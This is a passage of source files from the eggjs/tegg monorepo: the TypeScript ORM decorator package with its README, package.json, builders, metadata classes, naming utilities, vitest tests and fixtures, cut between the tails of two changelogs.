([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n\n\n\n\n\n## [1.4.1](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-decorator@1.4.0...@eggjs/tegg-orm-decorator@1.4.1) (2022-07-20)\n\n\n### Bug Fixes\n\n* use getMetaData for ModelMetadataUtil ([#44](https://github.com/eggjs/tegg/issues/44)) ([87a306c](https://github.com/eggjs/tegg/commit/87a306c4fba51fd519a47c0caaa79442643ea107))\n\n\n\n\n\n# [1.4.0](https://github.com/eggjs/tegg/compare/@eggjs/tegg-orm-decorator@1.3.1...@eggjs/tegg-orm-decorator@1.4.0) (2022-07-20)\n\n\n### Features\n\n* impl Inject Model ([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-orm-decorator\n"
  },
  {
    "path": "tegg/core/orm-decorator/README.md",
    "content": "# `@eggjs/orm-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/orm-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/orm-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/orm-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/orm-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/orm-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/orm-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/orm-decorator\n\n## Install\n\n```shell\nnpm i --save @eggjs/orm-decorator\n```\n\n## Define Model\n\n```ts\nimport { Model, Attribute } from '@eggjs/orm-decorator';\nimport leoric from 'leoric';\n\nconst { DataTypes, Bone } = leoric;\n\n@Model()\nexport class App extends Bone {\n  @Attribute(DataTypes.STRING)\n  name: string;\n  @Attribute(DataTypes.STRING)\n  desc: string;\n}\n```\n\n## Use Model\n\n```ts\nimport { SingletonProto, Inject } from '@eggjs/tegg';\nimport { App } from './model/App';\n\n@SingletonProto()\nexport class AppService {\n  @Inject()\n  App: typeof App;\n\n  async createApp(data: { name: string; desc: string }): Promise<App> {\n    const bone = await this.App.create(data as any);\n    return bone as App;\n  }\n\n  async findApp(name: string): Promise<App | null> {\n    const app = await this.App.findOne({ name });\n    return app as App;\n  }\n}\n```\n"
  },
  {
    "path": "tegg/core/orm-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/orm-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg orm decorator\",\n  \"keywords\": [\n    \"egg\",\n    \"runtime\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/orm-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/orm-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"lodash\": \"catalog:\",\n    \"pluralize\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/lodash\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"@types/pluralize\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/builder/AttributeMetaBuilder.ts",
    "content": "import type { EggProtoImplClass, ModelAttributeInfo } from '@eggjs/tegg-types';\n\nimport { AttributeMeta } from '../model/index.ts';\nimport { ModelInfoUtil, NameUtil } from '../util/index.ts';\n\nexport class AttributeMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): Array<AttributeMeta> {\n    const modelAttributes = ModelInfoUtil.getModelAttributes(this.clazz);\n    const attributes: Array<AttributeMeta> = [];\n    if (!modelAttributes) {\n      throw new Error(`model ${this.clazz.name} has no attributes`);\n    }\n    for (const [propertyName, attributeInfo] of modelAttributes) {\n      const attribute = this.buildAttributeMeta(propertyName, attributeInfo);\n      attributes.push(attribute);\n    }\n    return attributes;\n  }\n\n  private buildAttributeMeta(propertyName: string, attributeInfo: ModelAttributeInfo) {\n    return new AttributeMeta(\n      attributeInfo.dataType,\n      propertyName,\n      attributeInfo.options?.name ?? NameUtil.getAttributeName(propertyName),\n      attributeInfo.options?.allowNull ?? true,\n      attributeInfo.options?.autoIncrement ?? false,\n      attributeInfo.options?.primary ?? false,\n      attributeInfo.options?.unique ?? false,\n    );\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/builder/IndexMetaBuilder.ts",
    "content": "import type { EggProtoImplClass, ModelIndexInfo } from '@eggjs/tegg-types';\n\nimport { IndexMeta, AttributeMeta } from '../model/index.ts';\nimport { ModelInfoUtil, NameUtil } from '../util/index.ts';\n\nexport class IndexMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n  private readonly attributes: Array<AttributeMeta>;\n\n  constructor(clazz: EggProtoImplClass, attributes: Array<AttributeMeta>) {\n    this.clazz = clazz;\n    this.attributes = attributes;\n  }\n\n  build(): Array<IndexMeta> {\n    return ModelInfoUtil.getModelIndices(this.clazz).map((indexInfo) => this.buildIndexMeta(indexInfo));\n  }\n\n  private buildIndexMeta(indexInfo: ModelIndexInfo): IndexMeta {\n    const fields: string[] = [];\n    for (const field of indexInfo.fields) {\n      const attribute = this.attributes.find((t) => t.propertyName === field);\n      if (!attribute) {\n        throw new Error(`model ${this.clazz.name} has no attribute named ${field}`);\n      }\n      fields.push(attribute.attributeName);\n    }\n\n    let indexName: string;\n    if (indexInfo.options?.name) {\n      indexName = indexInfo.options!.name;\n    } else {\n      indexName = NameUtil.getIndexName(fields, {\n        unique: indexInfo.options?.unique,\n      });\n    }\n    return new IndexMeta(indexName, fields, indexInfo.options?.unique ?? false, indexInfo.options?.primary ?? false);\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/builder/ModelMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ModelMetadata } from '../model/index.ts';\nimport { ModelInfoUtil, NameUtil } from '../util/index.ts';\nimport { AttributeMetaBuilder } from './AttributeMetaBuilder.ts';\nimport { IndexMetaBuilder } from './IndexMetaBuilder.ts';\n\nexport class ModelMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  build(): ModelMetadata {\n    const dataSource = ModelInfoUtil.getDataSource(this.clazz);\n    const tableName = ModelInfoUtil.getTableName(this.clazz) || NameUtil.getTableName(this.clazz.name);\n    const attributeMetaBuilder = new AttributeMetaBuilder(this.clazz);\n    const attributes = attributeMetaBuilder.build();\n    const indexMetaBuilder = new IndexMetaBuilder(this.clazz, attributes);\n    const indices = indexMetaBuilder.build();\n    return new ModelMetadata(dataSource, tableName, attributes, indices);\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/builder/index.ts",
    "content": "export * from './AttributeMetaBuilder.ts';\nexport * from './IndexMetaBuilder.ts';\nexport * from './ModelMetaBuilder.ts';\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/decorator/Attribute.ts",
    "content": "import assert from 'node:assert';\n\nimport type { AttributeOptions, EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ModelInfoUtil } from '../util/index.ts';\n\nexport function Attribute(dataType: string, options?: AttributeOptions) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    const clazz = target.constructor as EggProtoImplClass;\n    assert(\n      typeof propertyKey === 'string',\n      `[model/${clazz.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    ModelInfoUtil.addModelAttribute(dataType, options, clazz, propertyKey);\n  };\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/decorator/DataSource.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ModelInfoUtil } from '../util/index.ts';\n\nexport function DataSource(dataSource: string) {\n  return function (clazz: EggProtoImplClass): void {\n    ModelInfoUtil.setDataSource(dataSource, clazz);\n  };\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/decorator/Model.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\nimport { AccessLevel, MODEL_PROTO_IMPL_TYPE } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, ModelParams } from '@eggjs/tegg-types';\n\nimport { ModelInfoUtil } from '../util/index.ts';\n\nexport function Model(param?: ModelParams) {\n  return function (clazz: EggProtoImplClass): void {\n    ModelInfoUtil.setIsModel(true, clazz);\n    const func = SingletonProto({\n      name: clazz.name,\n      accessLevel: AccessLevel.PUBLIC,\n      protoImplType: MODEL_PROTO_IMPL_TYPE,\n    });\n    if (param?.tableName) {\n      ModelInfoUtil.setTableName(param.tableName, clazz);\n    }\n    if (param?.dataSource) {\n      ModelInfoUtil.setDataSource(param.dataSource, clazz);\n    }\n    func(clazz);\n  };\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/decorator/ModelIndex.ts",
    "content": "import type { EggProtoImplClass, IndexOptions } from '@eggjs/tegg-types';\n\nimport { ModelInfoUtil } from '../util/index.ts';\n\nexport function Index(fields: string[], params?: IndexOptions) {\n  return function (clazz: EggProtoImplClass): void {\n    ModelInfoUtil.addModelIndex(fields, params, clazz);\n  };\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/decorator/index.ts",
    "content": "export * from './Attribute.ts';\nexport * from './DataSource.ts';\nexport * from './Model.ts';\nexport * from './ModelIndex.ts';\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/orm';\n\nexport * from './builder/index.ts';\nexport * from './decorator/index.ts';\nexport * from './model/index.ts';\nexport * from './util/index.ts';\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/model/AttributeMeta.ts",
    "content": "export class AttributeMeta {\n  readonly dataType: string;\n  readonly propertyName: string;\n  readonly attributeName: string;\n  readonly allowNull: boolean;\n  readonly autoIncrement: boolean;\n  readonly primary: boolean;\n  readonly unique: boolean;\n\n  constructor(\n    dataType: string,\n    propertyName: string,\n    attributeName: string,\n    allowNull: boolean,\n    autoIncrement: boolean,\n    primary: boolean,\n    unique: boolean,\n  ) {\n    this.dataType = dataType;\n    this.propertyName = propertyName;\n    this.attributeName = attributeName;\n    this.allowNull = allowNull;\n    this.autoIncrement = autoIncrement;\n    this.primary = primary;\n    this.unique = unique;\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/model/IndexMeta.ts",
    "content": "export class IndexMeta {\n  readonly name: string;\n  readonly fields: string[];\n  readonly unique: boolean;\n  readonly primary: boolean;\n\n  constructor(name: string, fields: string[], unique: boolean, primary: boolean) {\n    this.name = name;\n    this.fields = fields;\n    this.unique = unique;\n    this.primary = primary;\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/model/ModelMetadata.ts",
    "content": "import { AttributeMeta } from './AttributeMeta.ts';\nimport { IndexMeta } from './IndexMeta.ts';\n\nexport class ModelMetadata {\n  readonly dataSource: string | undefined;\n  readonly tableName: string;\n  readonly attributes: Array<AttributeMeta>;\n  readonly indices: Array<IndexMeta>;\n\n  constructor(\n    dataSource: string | undefined,\n    tableName: string,\n    attributes: Array<AttributeMeta>,\n    indices: Array<IndexMeta>,\n  ) {\n    this.dataSource = dataSource;\n    this.tableName = tableName;\n    this.attributes = attributes;\n    this.indices = indices;\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/model/index.ts",
    "content": "export * from './AttributeMeta.ts';\nexport * from './IndexMeta.ts';\nexport * from './ModelMetadata.ts';\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/util/ModelInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type {\n  AttributeOptions,\n  EggProtoImplClass,\n  IndexOptions,\n  ModelAttributeInfo,\n  ModelIndexInfo,\n} from '@eggjs/tegg-types';\nimport {\n  IS_MODEL,\n  MODEL_DATA_ATTRIBUTES,\n  MODEL_DATA_INDICES,\n  MODEL_DATA_SOURCE,\n  MODEL_DATA_TABLE_NAME,\n} from '@eggjs/tegg-types';\n\ntype ModelAttributeMap = Map<string, ModelAttributeInfo>;\n\nexport class ModelInfoUtil {\n  static setIsModel(isModel: boolean, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(IS_MODEL, isModel, clazz);\n  }\n\n  static getIsModel(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getBooleanMetaData(IS_MODEL, clazz);\n  }\n\n  static setDataSource(dataSource: string, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(MODEL_DATA_SOURCE, dataSource, clazz);\n  }\n\n  static getDataSource(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getMetaData(MODEL_DATA_SOURCE, clazz);\n  }\n\n  static setTableName(tableName: string, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(MODEL_DATA_TABLE_NAME, tableName, clazz);\n  }\n\n  static getTableName(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getMetaData(MODEL_DATA_TABLE_NAME, clazz);\n  }\n\n  static addModelIndex(fields: string[], options: IndexOptions | undefined, clazz: EggProtoImplClass): void {\n    const indexInfo: Array<ModelIndexInfo> = MetadataUtil.initOwnArrayMetaData(MODEL_DATA_INDICES, clazz, []);\n    indexInfo.push({\n      fields,\n      options,\n    });\n  }\n\n  static getModelIndices(clazz: EggProtoImplClass): Array<ModelIndexInfo> {\n    return MetadataUtil.getArrayMetaData(MODEL_DATA_INDICES, clazz);\n  }\n\n  static addModelAttribute(\n    dataType: string,\n    options: AttributeOptions | undefined,\n    clazz: EggProtoImplClass,\n    property: string,\n  ): void {\n    const attributeMap: ModelAttributeMap = MetadataUtil.initOwnMapMetaData(MODEL_DATA_ATTRIBUTES, clazz, new Map());\n    attributeMap.set(property, {\n      dataType,\n      options,\n    });\n  }\n\n  static getModelAttributes(clazz: EggProtoImplClass): ModelAttributeMap | undefined {\n    return MetadataUtil.getMetaData(MODEL_DATA_ATTRIBUTES, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/util/ModelMetadataUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ModelMetadata } from '../model/index.ts';\n\nexport const MODEL_METADATA: symbol = Symbol.for('EggPrototype#model#metadata');\n\nexport class ModelMetadataUtil {\n  static setModelMetadata(clazz: EggProtoImplClass, metaData: ModelMetadata): void {\n    MetadataUtil.defineMetaData(MODEL_METADATA, metaData, clazz);\n  }\n\n  static getModelMetadata(clazz: EggProtoImplClass): ModelMetadata | undefined {\n    return MetadataUtil.getMetaData(MODEL_METADATA, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/util/NameUtil.ts",
    "content": "import _ from 'lodash';\nimport pluralize from 'pluralize';\n\nexport class NameUtil {\n  /**\n   * get table name\n   * StudentScore -> student_scores\n   */\n  static getTableName(modelName: string): string {\n    const modelNames = pluralize(modelName);\n    return _.snakeCase(modelNames);\n  }\n\n  /**\n   * get attribute name\n   * userName -> user_name\n   */\n  static getAttributeName(propertyName: string): string {\n    return _.snakeCase(propertyName);\n  }\n\n  /**\n   * [ 'user_name' ], unique\n   * uk_user_name\n   *\n   * [ 'user_name', 'gender' ]\n   * idx_user_name_gender\n   */\n  static getIndexName(fields: string[], options?: { unique?: boolean }): string {\n    const prefix = options?.unique ? 'uk_' : 'idx_';\n    const names = fields.join('_');\n    return prefix + names;\n  }\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/src/util/index.ts",
    "content": "export * from './ModelInfoUtil.ts';\nexport * from './ModelMetadataUtil.ts';\nexport * from './NameUtil.ts';\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"Attribute\": [Function],\n  \"AttributeMeta\": [Function],\n  \"AttributeMetaBuilder\": [Function],\n  \"DataSource\": [Function],\n  \"IS_MODEL\": Symbol(EggPrototype#model#isModel),\n  \"Index\": [Function],\n  \"IndexMeta\": [Function],\n  \"IndexMetaBuilder\": [Function],\n  \"MODEL_DATA_ATTRIBUTES\": Symbol(EggPrototype#model#attributes),\n  \"MODEL_DATA_INDICES\": Symbol(EggPrototype#model#indices),\n  \"MODEL_DATA_SOURCE\": Symbol(EggPrototype#model#dataSource),\n  \"MODEL_DATA_TABLE_NAME\": Symbol(EggPrototype#model#tableName),\n  \"MODEL_METADATA\": Symbol(EggPrototype#model#metadata),\n  \"MODEL_PROTO_IMPL_TYPE\": \"MODEL_PROTO\",\n  \"Model\": [Function],\n  \"ModelInfoUtil\": [Function],\n  \"ModelMetaBuilder\": [Function],\n  \"ModelMetadata\": [Function],\n  \"ModelMetadataUtil\": [Function],\n  \"NameUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/builder/AttributeMetaBuilder.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { AttributeMetaBuilder, AttributeMeta } from '../../src/index.js';\nimport { AttributeModel } from '../fixtures/AttributeModel.js';\nimport { DefaultAttributeModel } from '../fixtures/DefaultAttributeModel.js';\n\ndescribe('test/builder/AttributeMetaBuilder.test.ts', () => {\n  describe('default value', () => {\n    it('should set default value', () => {\n      const attributeMetaBuilder = new AttributeMetaBuilder(DefaultAttributeModel);\n      const attributes = attributeMetaBuilder.build();\n      assert.deepStrictEqual(attributes, [new AttributeMeta('varchar', 'foo', 'foo', true, false, false, false)]);\n    });\n  });\n\n  describe('not default value', () => {\n    it('should use decorator value', () => {\n      const attributeMetaBuilder = new AttributeMetaBuilder(AttributeModel);\n      const attributes = attributeMetaBuilder.build();\n      assert.deepStrictEqual(attributes, [new AttributeMeta('varchar', 'foo', 'foo_field', false, false, true, true)]);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/builder/IndexMetaBuilder.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { AttributeMetaBuilder, IndexMetaBuilder, IndexMeta } from '../../src/index.js';\nimport { DefaultIndexModel } from '../fixtures/DefaultIndexModel.js';\nimport { IndexModel } from '../fixtures/IndexModel.js';\nimport { InvalidateIndexModel } from '../fixtures/InvalidateIndexModel.js';\n\ndescribe('test/builder/AttributeMetaBuilder.test.ts', () => {\n  describe('default value', () => {\n    it('should set default value', () => {\n      const attributeMetaBuilder = new AttributeMetaBuilder(DefaultIndexModel);\n      const indexMetaBuilder = new IndexMetaBuilder(DefaultIndexModel, attributeMetaBuilder.build());\n      const indices = indexMetaBuilder.build();\n      assert.deepStrictEqual(indices, [new IndexMeta('idx_foo', ['foo'], false, false)]);\n    });\n  });\n\n  describe('not default value', () => {\n    it('should use decorator value', () => {\n      const attributeMetaBuilder = new AttributeMetaBuilder(IndexModel);\n      const indexMetaBuilder = new IndexMetaBuilder(IndexModel, attributeMetaBuilder.build());\n      const indices = indexMetaBuilder.build();\n      assert.deepStrictEqual(indices, [new IndexMeta('idx_foo_name', ['foo'], true, true)]);\n    });\n  });\n\n  describe('field not exits', () => {\n    it('should throw error', () => {\n      const attributeMetaBuilder = new AttributeMetaBuilder(InvalidateIndexModel);\n      const indexMetaBuilder = new IndexMetaBuilder(InvalidateIndexModel, attributeMetaBuilder.build());\n      assert.throws(() => {\n        indexMetaBuilder.build();\n      }, /model InvalidateIndexModel has no attribute named not_exist_field/);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/builder/ModelMetaBuilder.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { ModelMetaBuilder, ModelMetadata, AttributeMeta, IndexMeta } from '../../src/index.js';\nimport { Foo } from '../fixtures/Foo.js';\n\ndescribe('test/builder/ModelMetaBuilder.test.ts', () => {\n  it('should work', () => {\n    const builder = new ModelMetaBuilder(Foo);\n    const meta = builder.build();\n    assert.deepStrictEqual(\n      meta,\n      new ModelMetadata(\n        'a_db',\n        'a_foo_table',\n        [\n          new AttributeMeta('int', 'id', 'pid', false, true, true, false),\n          new AttributeMeta('varchar(20)', 'name', 'name', true, false, false, false),\n          new AttributeMeta('varchar(20)', 'foo', 'foo', true, false, false, true),\n        ],\n        [new IndexMeta('uk_name', ['name'], true, false)],\n      ),\n    );\n  });\n});\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/decorator.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it } from 'vitest';\n\nimport { ModelInfoUtil } from '../src/index.ts';\nimport { Foo } from './fixtures/Foo.ts';\n\ndescribe('test/decorator.test.ts', () => {\n  it('should work', () => {\n    const attributes = ModelInfoUtil.getModelAttributes(Foo);\n    const indices = ModelInfoUtil.getModelIndices(Foo);\n    const tableName = ModelInfoUtil.getTableName(Foo);\n    const dataSource = ModelInfoUtil.getDataSource(Foo);\n    assert.deepStrictEqual(\n      attributes,\n      new Map([\n        [\n          'id',\n          {\n            dataType: 'int',\n            options: {\n              name: 'pid',\n              allowNull: false,\n              autoIncrement: true,\n              primary: true,\n            },\n          },\n        ],\n        [\n          'name',\n          {\n            dataType: 'varchar(20)',\n            options: undefined,\n          },\n        ],\n        [\n          'foo',\n          {\n            dataType: 'varchar(20)',\n            options: { unique: true },\n          },\n        ],\n      ]),\n    );\n    assert.deepStrictEqual(indices, [\n      {\n        fields: ['name'],\n        options: { unique: true },\n      },\n    ]);\n    assert.equal(tableName, 'a_foo_table');\n    assert.equal(dataSource, 'a_db');\n  });\n});\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/fixtures/AttributeModel.ts",
    "content": "import { Model, Attribute } from '../../src/index.js';\n\n@Model()\nexport class AttributeModel {\n  @Attribute('varchar', {\n    name: 'foo_field',\n    allowNull: false,\n    autoIncrement: false,\n    primary: true,\n    unique: true,\n  })\n  foo: string;\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/fixtures/DefaultAttributeModel.ts",
    "content": "import { Model, Attribute } from '../../src/index.js';\n\n@Model()\nexport class DefaultAttributeModel {\n  @Attribute('varchar')\n  foo: string;\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/fixtures/DefaultIndexModel.ts",
    "content": "import { Model, Attribute, Index } from '../../src/index.js';\n\n@Model()\n@Index(['foo'])\nexport class DefaultIndexModel {\n  @Attribute('varchar')\n  foo: string;\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/fixtures/Foo.ts",
    "content": "import { Model, DataSource, Index, Attribute } from '../../src/index.js';\n\n@Model({\n  tableName: 'a_foo_table',\n})\n@DataSource('a_db')\n@Index(['name'], {\n  unique: true,\n})\nexport class Foo {\n  @Attribute('int', {\n    name: 'pid',\n    allowNull: false,\n    autoIncrement: true,\n    primary: true,\n  })\n  id: number;\n\n  @Attribute('varchar(20)')\n  name: string;\n\n  @Attribute('varchar(20)', {\n    unique: true,\n  })\n  foo: string;\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/fixtures/IndexModel.ts",
    "content": "import { Model, Attribute, Index } from '../../src/index.js';\n\n@Model()\n@Index(['foo'], {\n  primary: true,\n  unique: true,\n  name: 'idx_foo_name',\n})\nexport class IndexModel {\n  @Attribute('varchar')\n  foo: string;\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/fixtures/InvalidateIndexModel.ts",
    "content": "import { Model, Attribute, Index } from '../../src/index.js';\n\n@Model()\n@Index(['not_exist_field'])\nexport class InvalidateIndexModel {\n  @Attribute('varchar')\n  foo: string;\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/orm-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/orm-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/runtime/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) 